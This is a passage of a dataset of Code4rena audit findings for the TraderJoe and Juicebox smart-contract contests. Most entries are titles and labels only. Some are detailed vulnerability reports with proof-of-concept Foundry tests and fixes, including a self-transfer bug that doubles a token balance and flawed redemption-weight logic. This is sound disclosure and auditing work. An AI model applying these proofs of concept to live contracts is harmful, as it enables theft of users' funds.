0.0001e18; token.approve(address(router), 1e18); router.swapExactTokensForTokensSupportingFeeOnTransferTokens( amountIn, 0, steps, path, address(this), block.timestamp + 1000 ); // This amount was calculated incorrectly. assertEq(actualAmountOut, 987030000000000000); // Equals to 989970211528238869 when fixed. address _pair = address(this); uint256 expectedAmountOut; // Reproduce the calculations using JoeLibrary.getAmountIn. This piece: // https://github.com/code-423n4/2022-10-traderjoe/blob/main/src/LBRouter.sol#L888-L899 (uint256 _reserve0, uint256 _reserve1, ) = IJoePair(_pair).getReserves(); if (address(token) < address(this)) { uint256 _balance = token.balanceOf(_pair); expectedAmountOut = JoeLibrary.getAmountOut(_balance - _reserve0, _reserve0, _reserve1); } else { uint256 _balance = token.balanceOf(_pair); expectedAmountOut = JoeLibrary.getAmountOut(_balance - _reserve1, _reserve1, _reserve0); } // This is the correct amount. assertEq(expectedAmountOut, 989970211528238869); // The wrong amount is smaller than the expected one. assertEq(expectedAmountOut - actualAmountOut, 2940211528238869); } } ``` ## Tools Used Manual review. ## Recommended Mitigation Steps Consider using the `JoeLibrary.getAmountOut` function in the `_swapSupportingFeeOnTransferTokens` function of `LBRouter` when computing output amounts for V1 pools."}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/342", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-08"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/334", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "grade-a", "selected for report", "Q-07"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/326", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "grade-b", "G-10"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/325", "labels": ["bug", "QA (Quality Assurance)", "grade-a", "Q-06"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/303", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-09"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Transfering funds to yourself increases your balance", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/299", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected for report", "H-01"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L182 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L187 https://github.com/code-423n4/2022-10-traderjoe/blob/79f25d48b907f9d0379dd803fc2abc9c5f57db93/src/LBToken.sol#L189-L192 # Vulnerability details ## Impact Using temporary variables to update balances is a dangerous construction that has led to several hacks in the past. Here, we can see that `_toBalance` can overwrite `_fromBalance`: ```solidity File: LBToken.sol 176: function _transfer( 177: address _from, 178: address _to, 179: uint256 _id, 180: uint256 _amount 181: ) internal virtual { 182: uint256 _fromBalance = _balances[_id][_from]; ... 187: uint256 _toBalance = _balances[_id][_to]; 188: 189: unchecked { 190: _balances[_id][_from] = _fromBalance - _amount; 191: _balances[_id][_to] = _toBalance + _amount; //@audit : if _from == _to : rekt 192: } .. 196: } ``` Furthermore, the `safeTransferFrom` function has the `checkApproval` modifier which passes without any limit if `_owner == _spender` : ```solidity File: LBToken.sol 32: modifier checkApproval(address _from, address _spender) { 33: if (!_isApprovedForAll(_from, _spender)) revert LBToken__SpenderNotApproved(_from, _spender); 34: _; 35: } ... 131: function safeTransferFrom( ... 136: ) public virtual override checkAddresses(_from, _to) checkApproval(_from, msg.sender) { ... 269: function _isApprovedForAll(address _owner, address _spender) internal view virtual returns (bool) { 270: return _owner == _spender || _spenderApprovals[_owner][_spender]; 271: } ``` ## Proof of Concept Add the following test to `LBToken.t.sol` (run it with `forge test --match-path test/LBToken.t.sol --match-test testSafeTransferFromOneself -vvvv`): ```solidity function testSafeTransferFromOneself() public { uint256 amountIn = 1e18; (uint256[] memory _ids, , , ) = addLiquidity(amountIn, ID_ONE, 5, 0); uint256 initialBalance = pair.balanceOf(DEV, _ids[0]); assertEq(initialBalance, 333333333333333333); // using hardcoded value to ease understanding pair.safeTransferFrom(DEV, DEV, _ids[0], initialBalance); //transfering to oneself uint256 rektBalance1 = pair.balanceOf(DEV, _ids[0]); //computing new balance assertEq(rektBalance1, 2 * initialBalance); // the new balance is twice the initial one assertEq(rektBalance1, 666666666666666666); // using hardcoded value to ease understanding } ``` As we can see here, this test checks that transfering all your funds to yourself doubles your balance, and it's passing. This can be repeated again and again to increase your balance. ## Recommended Mitigation Steps - Add checks to make sure that `_from != _to` because that shouldn't be useful anyway - Prefer the following: ```solidity File: LBToken.sol 189: unchecked { 190: _balances[_id][_from] -= _amount; 191: _balances[_id][_to] += _amount; 192: } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/282", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-08"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/280", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "grade-b", "Q-05"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/250", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed", "edited-by-warden", "grade-a", "selected for report", "G-07"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/190", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-06"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/186", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed", "grade-a", "Q-04"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/177", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-03"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "grade-a", "G-05"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/153", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-02"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-01"], "target": "2022-10-traderjoe-findings", "body": "QA Report"}, {"title": "Very critical `Owner` privileges can cause complete destruction of the project in a possible privateKey exploit", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/139", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor acknowledged", "selected for report", "M-04"], "target": "2022-10-traderjoe-findings", "body": "Very critical `Owner` privileges can cause complete destruction of the project in a possible privateKey exploit"}, {"title": "Flashloan fee collection mechanism can be easily manipulated", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/136", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor acknowledged", "edited-by-warden", "selected for report", "M-03"], "target": "2022-10-traderjoe-findings", "body": "Flashloan fee collection mechanism can be easily manipulated"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/130", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-04"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "beforeTokenTransfer called with wrong parameters in LBToken._burn", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/108", "labels": ["bug", "2 (Med Risk)", "primary issue", "sponsor confirmed", "selected for report", "M-02"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/37258d595d596c195507234f795fa34e319b0a68/src/LBToken.sol#L237 # Vulnerability details ## Impact In `LBToken._burn`, the `_beforeTokenTransfer` hook is called with `from = address(0)` and `to = _account`: ```solidity _beforeTokenTransfer(address(0), _account, _id, _amount); ``` Through a lucky coincidence, it turns out that this in the current setup does not cause a high severity issue. `_burn` is always called with `_account = address(this)`, which means that `LBPair._beforeTokenTransfer` is a NOP. However, this wrong call is very dangerous for future extensions or protocol that built on top of the protocol / fork it. ## Proof Of Concept Let's say the protocol is extended with some logic that needs to track mints / burns. The canonical way to do this would be: ```solidity function _beforeTokenTransfer( address _from, address _to, uint256 _id, uint256 _amount ) internal override(LBToken) { if (_from == address(0)) { // Mint Logic } else if (_to == address(0)) { // Burn Logic } } ``` Such an extension would break, which could lead to loss of funds or a bricked system. ## Recommended Mitigation Steps Call the hook correctly: ```solidity _beforeTokenTransfer(_account, address(0), _id, _amount); ```"}, {"title": "LBRouter.removeLiquidity returning wrong values", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/105", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "selected for report", "M-01"], "target": "2022-10-traderjoe-findings", "body": "# Lines of code https://github.com/code-423n4/2022-10-traderjoe/blob/e81b78ddb7cc17f0ece921fbaef2c2521727094b/src/LBRouter.sol#L291 # Vulnerability details ## Impact `LBRouter.removeLiquidity` reorders tokens when the user did not pass them in the pair order (ascending order): ```solidity if (_tokenX != _LBPair.tokenX()) { (_tokenX, _tokenY) = (_tokenY, _tokenX); (_amountXMin, _amountYMin) = (_amountYMin, _amountXMin); } ``` However, when returning `amountX` and `amountY`, it is ignored if the order was changed: ```solidity (amountX, amountY) = _removeLiquidity(_LBPair, _amountXMin, _amountYMin, _ids, _amounts, _to); ``` Therefore, when the order of the tokens is swapped by the function, the return value `amountX` (\"Amount of token X returned\") in reality is the amount of the user-provided token Y that is returned and vice versa. Because this is an exposed function that third-party protocols / contracts will use, this can cause them to malfunction. For instance, when integrating with Trader Joe, something natural to do is: ``` (uint256 amountAReceived, uint256 amountBReceived) = LBRouter.removeLiquidity(address(tokenA), address(tokenB), ...); contractBalanceA += amountAReceived; contractBalanceB += amountBReceived; ``` This snippet will only be correct when the token addresses are passed in the right order, which should not be the case. When they are not passed in the right order, the accounting of third-party contracts will be messed up, leading to vulnerabilities / lost funds there. ## Proof Of Concept First consider the following diff, which shows a scenario when `LBRouter` does not switch `tokenX` and `tokenY`, resulting in correct return values: ```diff --- a/test/LBRouter.Liquidity.t.sol +++ b/test/LBRouter.Liquidity.t.sol @@ -57,7 +57,9 @@ contract LiquidityBinRouterTest is TestHelper { pair.setApprovalForAll(address(router), true); - router.removeLiquidity( + uint256 token6BalBef = token6D.balanceOf(DEV); + uint256 token18BalBef = token18D.balanceOf(DEV); + (uint256 amountFirstRet, uint256 amountSecondRet) = router.removeLiquidity( token6D, token18D, DEFAULT_BIN_STEP, @@ -70,7 +72,9 @@ contract LiquidityBinRouterTest is TestHelper { ); assertEq(token6D.balanceOf(DEV), amountXIn); + assertEq(amountXIn, token6BalBef + amountFirstRet); assertEq(token18D.balanceOf(DEV), _amountYIn); + assertEq(_amountYIn, token18BalBef + amountSecondRet); } function testRemoveLiquidityReverseOrder() public { ``` This test passes (as it should). Now, consider the following diff, where `LBRouter` switches `tokenX` and `tokenY`: ```diff --- a/test/LBRouter.Liquidity.t.sol +++ b/test/LBRouter.Liquidity.t.sol @@ -57,12 +57,14 @@ contract LiquidityBinRouterTest is TestHelper { pair.setApprovalForAll(address(router), true); - router.removeLiquidity( - token6D, + uint256 token6BalBef = token6D.balanceOf(DEV); + uint256 token18BalBef = token18D.balanceOf(DEV); + (uint256 amountFirstRet, uint256 amountSecondRet) = router.removeLiquidity( token18D, + token6D, DEFAULT_BIN_STEP, - totalXbalance, totalYBalance, + totalXbalance, ids, amounts, DEV, @@ -70,7 +72,9 @@ contract LiquidityBinRouterTest is TestHelper { ); assertEq(token6D.balanceOf(DEV), amountXIn); + assertEq(amountXIn, token6BalBef + amountSecondRet); assertEq(token18D.balanceOf(DEV), _amountYIn); + assertEq(_amountYIn, token18BalBef + amountFirstRet); } function testRemoveLiquidityReverseOrder() public { ``` This test should also pass (the order of the tokens was only switched), but it does not because the return values are mixed up. ## Recommended Mitigation Steps Add the following statement in the end: ```solidity if (_tokenX != _LBPair.tokenX()) { return (amountY, amountX); } ```"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/98", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-03"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/24", "labels": ["bug", "G (Gas Optimization)", "edited-by-warden", "grade-b", "G-02"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/14", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-01"], "target": "2022-10-traderjoe-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-10-traderjoe-findings/issues/1", "labels": [], "target": "2022-10-traderjoe-findings", "body": "Agreements & Disclosures"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/230", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-34"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/229", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-49"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "A user can delegate his tire voting to a zero address", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/228", "labels": ["bug", "downgraded by judge", "QA (Quality Assurance)", "sponsor disputed", "grade-b", "Q-48"], "target": "2022-10-juicebox-findings", "body": "A user can delegate his tire voting to a zero address"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/227", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-47"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/224", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-33"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/223", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-32"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/221", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-31"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/220", "labels": ["bug", "low quality report", "QA (Quality Assurance)", "grade-a", "Q-46"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "JBTiered721Delegate.tokenURI() is not compliant with EIP721", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/218", "labels": ["bug", "documentation", "disagree with severity", "downgraded by judge", "QA (Quality Assurance)", "grade-a", "Q-45"], "target": "2022-10-juicebox-findings", "body": "JBTiered721Delegate.tokenURI() is not compliant with EIP721"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/217", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-44"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/209", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-43"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/205", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-42"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "The tier reserved rate is not validated and can surpass `JBConstants.MAX_RESERVED_RATE`", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/201", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed", "satisfactory", "selected for report", "M-08"], "target": "2022-10-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L1224-L1259 https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L566 https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/abstract/JB721Delegate.sol#L142 # Vulnerability details If the reserved rate of a tier is set to a value > `JBConstants.MAX_RESERVED_RATE`, the `JBTiered721DelegateStore._numberOfReservedTokensOutstandingFor` function will return way more outstanding reserved tokens (up to ~6 times more than allowed - **2^16 - 1** due to the manual cast of `reservedRate` to `uint16` divided by `JBConstants.MAX_RESERVED_RATE = 10_000`). This inflated value is used in the `JBTiered721DelegateStore.totalRedemptionWeight` function to calculate the cumulative redemption weight of all tokens across all tiers. This higher-than-expected redemption weight will lower the `reclaimAmount` calculated in the `JB721Delegate.redeemParams` function. Depending on the values of `_data.overflow` and `_redemptionWeight`, the calculated `reclaimAmount` can be **0** (due to rounding down, [see here](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/abstract/JB721Delegate.sol#L142)) or a smaller than anticipated value, leading to burned NFT tokens from the user and no redemptions. ## Impact The owner of an NFT contract can add tiers with higher than usual reserved rates (and mint an appropriate number of NFTs to bypass all conditions in the `JBTiered721DelegateStore._numberOfReservedTokensOutstandingFor`), which will lead to a lower-than-expected redemption amount for users. ## Proof of Concept [JBTiered721DelegateStore.\\_numberOfReservedTokensOutstandingFor](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L1224-L1259) ```solidity function _numberOfReservedTokensOutstandingFor( address _nft, uint256 _tierId, JBStored721Tier memory _storedTier ) internal view returns (uint256) { // Invalid tier or no reserved rate? if (_storedTier.initialQuantity == 0 || _storedTier.reservedRate == 0) return 0; // No token minted yet? Round up to 1. if (_storedTier.initialQuantity == _storedTier.remainingQuantity) return 1; // The number of reserved tokens of the tier already minted. uint256 _reserveTokensMinted = numberOfReservesMintedFor[_nft][_tierId]; // If only the reserved token (from the rounding up) has been minted so far, return 0. if (_storedTier.initialQuantity - _reserveTokensMinted == _storedTier.remainingQuantity) return 0; // Get a reference to the number of tokens already minted in the tier, not counting reserves or burned tokens. uint256 _numberOfNonReservesMinted = _storedTier.initialQuantity - _storedTier.remainingQuantity - _reserveTokensMinted; // Store the numerator common to the next two calculations. uint256 _numerator = uint256(_numberOfNonReservesMinted * _storedTier.reservedRate); // Get the number of reserved tokens mintable given the number of non reserved tokens minted. This will round down. uint256 _numberReservedTokensMintable = _numerator / JBConstants.MAX_RESERVED_RATE; // Round up. if (_numerator - JBConstants.MAX_RESERVED_RATE * _numberReservedTokensMintable > 0) ++_numberReservedTokensMintable; // Return the difference between the amount mintable and the amount already minted. return _numberReservedTokensMintable - _reserveTokensMinted; } ``` [JBTiered721DelegateStore.totalRedemptionWeight](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L566) The `JBTiered721DelegateStore._numberOfReservedTokensOutstandingFor` function is called from within the `JBTiered721DelegateStore.totalRedemptionWeight` function. This allows for inflating the total redemption weight. ```solidity function totalRedemptionWeight(address _nft) public view override returns (uint256 weight) { // Keep a reference to the greatest tier ID. uint256 _maxTierId = maxTierIdOf[_nft]; // Keep a reference to the tier being iterated on. JBStored721Tier memory _storedTier; // Add each token's tier's contribution floor to the weight. for (uint256 _i; _i < _maxTierId; ) { // Keep a reference to the stored tier. _storedTier = _storedTierOf[_nft][_i + 1]; // Add the tier's contribution floor multiplied by the quantity minted. weight += (_storedTier.contributionFloor * (_storedTier.initialQuantity - _storedTier.remainingQuantity)) + _numberOfReservedTokensOutstandingFor(_nft, _i, _storedTier); unchecked { ++_i; } } } ``` [JBTiered721Delegate.\\_totalRedemptionWeight](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721Delegate.sol#L712) `JBTiered721DelegateStore.totalRedemptionWeight` is called in the `JBTiered721Delegate._totalRedemptionWeight` function. ```solidity function _totalRedemptionWeight() internal view virtual override returns (uint256) { return store.totalRedemptionWeight(address(this)); } ``` [abstract/JB721Delegate.redeemParams](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/abstract/JB721Delegate.sol#L139) This `JBTiered721Delegate._totalRedemptionWeight` function is then called in the `JB721Delegate.redeemParams` function, which ultimately calculates the `reclaimAmount` given an overflow and `_decodedTokenIds`. `uint256 _base = PRBMath.mulDiv(_data.overflow, _redemptionWeight, _total);` in [line 142](https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/abstract/JB721Delegate.sol#L142) will lead to a lower `_base` due to the inflated denumerator `_total`. ```solidity function redeemParams(JBRedeemParamsData calldata _data) external view override returns ( uint256 reclaimAmount, string memory memo, JBRedemptionDelegateAllocation[] memory delegateAllocations ) { // Make sure fungible project tokens aren't being redeemed too. if (_data.tokenCount > 0) revert UNEXPECTED_TOKEN_REDEEMED(); // Check the 4 bytes interfaceId and handle the case where the metadata was not intended for this contract if ( _data.metadata.length < 4 || bytes4(_data.metadata[0:4]) != type(IJB721Delegate).interfaceId ) { revert INVALID_REDEMPTION_METADATA(); } // Set the only delegate allocation to be a callback to this contract. delegateAllocations = new JBRedemptionDelegateAllocation[](1); delegateAllocations[0] = JBRedemptionDelegateAllocation(this, 0); // If redemption rate is 0, nothing can be reclaimed from the treasury if (_data.redemptionRate == 0) return (0, _data.memo, delegateAllocations); // Decode the metadata (, uint256[] memory _decodedTokenIds) = abi.decode(_data.metadata, (bytes4, uint256[])); // Get a reference to the redemption rate of the provided tokens. uint256 _redemptionWeight = _redemptionWeightOf(_decodedTokenIds); // Get a reference to the total redemption weight. uint256 _total = _totalRedemptionWeight(); // @audit-info Uses the inflated total redemption weight // Get a reference to the linear proportion. uint256 _base = PRBMath.mulDiv(_data.overflow, _redemptionWeight, _total); // These conditions are all part of the same curve. Edge conditions are separated because fewer operation are necessary. if (_data.redemptionRate == JBConstants.MAX_REDEMPTION_RATE) return (_base, _data.memo, delegateAllocations); // Return the weighted overflow, and this contract as the delegate so that tokens can be deleted. return ( PRBMath.mulDiv( _base, _data.redemptionRate + PRBMath.mulDiv( _redemptionWeight, JBConstants.MAX_REDEMPTION_RATE - _data.redemptionRate, _total ), JBConstants.MAX_REDEMPTION_RATE ), _data.memo, delegateAllocations ); } ``` ## Tools Used Manual review ## Recommended mitigation steps Consider validating the tier reserved rate `reservedRate` in the `JBTiered721DelegateStore.recordAddTiers` function to ensure the reserved rate is not greater than `JBConstants.MAX_RESERVED_RATE`. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/199", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-30"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/198", "labels": ["bug", "high quality report", "QA (Quality Assurance)", "grade-a", "selected for report", "Q-41"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/197", "labels": ["bug", "G (Gas Optimization)", "high quality report", "grade-a", "G-29"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/196", "labels": ["bug", "QA (Quality Assurance)", "grade-b", "Q-40"], "target": "2022-10-juicebox-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/195", "labels": ["bug", "G (Gas Optimization)", "high quality report", "grade-b", "G-28"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Redemption weight of tiered NFTs miscalculates, making users redeem incorrect amounts - Bug #1", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/193", "labels": ["bug", "3 (High Risk)", "primary issue", "sponsor confirmed", "selected for report", "H-05"], "target": "2022-10-juicebox-findings", "body": "# Lines of code https://github.com/jbx-protocol/juice-nft-rewards/blob/f9893b1497098241dd3a664956d8016ff0d0efd0/contracts/JBTiered721DelegateStore.sol#L566 # Vulnerability details ## Description Redemption weight is a concept used in Juicebox to determine investor's eligible percentage of the non-locked funds. In redeemParams, JB721Delegate calculates user's share using: ``` uint256 _redemptionWeight = _redemptionWeightOf(_decodedTokenIds); uint256 _total = _totalRedemptionWeight(); uint256 _base = PRBMath.mulDiv(_data.overflow, _redemptionWeight, _total); ``` _totalRedemptionWeight eventually is implemented in DelegateStore: ``` for (uint256 _i; _i < _maxTierId; ) { // Keep a reference to the stored tier. _storedTier = _storedTierOf[_nft][_i + 1]; // Add the tier's contribution floor multiplied by the quantity minted. weight += (_storedTier.contributionFloor * (_storedTier.initialQuantity - _storedTier.remainingQuantity)) + _numberOfReservedTokensOutstandingFor(_nft, _i, _storedTier); unchecked { ++_i; } } ``` If we pay attention to _numberOfReservedTokensOutstandingFor() call, we can see it is called with tierId = i, yet storedTier of i+1. It is definitely not the intention as for example, recordMintReservesFor() uses the function correctly: ``` function recordMintReservesFor(uint256 _tierId, uint256 _count) external override returns (uint256[] memory tokenIds) { // Get a reference to the tier. JBStored721Tier storage _storedTier = _storedTierOf[msg.sender][_tierId]; // Get a reference to the number of reserved tokens mintable for the tier. uint256 _numberOfReservedTokensOutstanding = _numberOfReservedTokensOutstandingFor( msg.sender, _tierId, _storedTier ); ... ``` The impact of this bug is incorrect calculation of the weight of user's contributions. The\u00a0`initialQuantity` and\u00a0`remainingQuantity` values are taken from the correct tier, but\u00a0`_reserveTokensMinted` minted is taken from previous tier. In the case where\u00a0`_reserveTokensMinted` is smaller than correct value, for example tierID=0 which is empty, the outstanding value returned is larger, meaning weight is larger and redemptions are worth less. In the opposite case, where lower tierID has higher `_reserveTokensMinted`, the redemptions will receive\u00a0*more* payout than they should. ## Impact Users of projects can receive less or more funds than they are eligible for when redeeming NFT rewards. ## Proof of Concept 1\\. Suppose we have a project with 2 tiers, reserve ratio = 50%, redemption ratio = 100%: | | | | | | | | --- | --- | --- | --- | --- | --- | | Tier | Contribution | Initial quantity | Remaining quantity | Reserves minted | Reserves outstanding | | Tier 1 | 50 | 10 | 3 | 1 | 2 | | Tier 2 | 100 | 30 | 2 | 8 | 2 | When calculating totalRedemptionWeight(), the correct result is 50 * (10 - 3) + 2 + 100 * (30-2) + 2 = 3154 The wrong result will be: 50 * (10 -3) + **4** \\+ 100 * (30-2) + **13**\u00a0 = 3167 Therefore, when users redeem NFT rewards, they will get less value than they are eligible for. Note that totalRedemptionWeight() has an\u00a0*additional* bug where the reserve amount is not multiplied by the contribution, which is discussed in another submission. If it would be calculated correctly, the correct weight would be 3450. ## Tools Used Manual audit ## Recommended Mitigation Steps Change the calculation to: ``` _numberOfReservedTokensOutstandingFor(_nft, _i+1, _storedTier); ``` ## Additional discussion Likelihood of impact is very high, because the conditions will arise naturally (different tiers, different reserve minted count for each tier, user calls redeem).\u00a0 Severity of impact is high because users receive less or more tokens than they are eligible for. Initially I thought this bug could allow attacker to steal entire unlocked project funds, using a mint/burn loop. However, this would not be profitable because their calculated share of the funds would always be at most what they put in, because reserve tokens are printed out of thin air."}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/192", "labels": ["bug", "G (Gas Optimization)", "grade-b", "G-27"], "target": "2022-10-juicebox-findings", "body": "Gas Optimizations"}, {"title": "Reserved token rounding can be abused to honeypot and steal user's funds", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/191", "labels": ["bug", "3 (High Risk)", "sponsor acknowledged", "upgraded by judge", "satisfactory", "selected for report", "H-04"], "target": "2022-10-juicebox-findings", "body": "Reserved token rounding can be abused to honeypot and steal user's funds"}, {"title": "Deactivated tiers can still mint reserve tokens, even if no non-reserve tokens were minted.\u00a0", "html_url": "https://github.com/code-423n4/2022-10-juicebox-findings/issues/189", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged", "satisfactory", "selected for report", "M-07"], "target": "2022-10-juicebox-findings", "body": "Deactivated tiers can still mint reserve tokens, even if no non-reserve tokens were minted.\u00a0"}, {"title": "QA Report", "html_url": 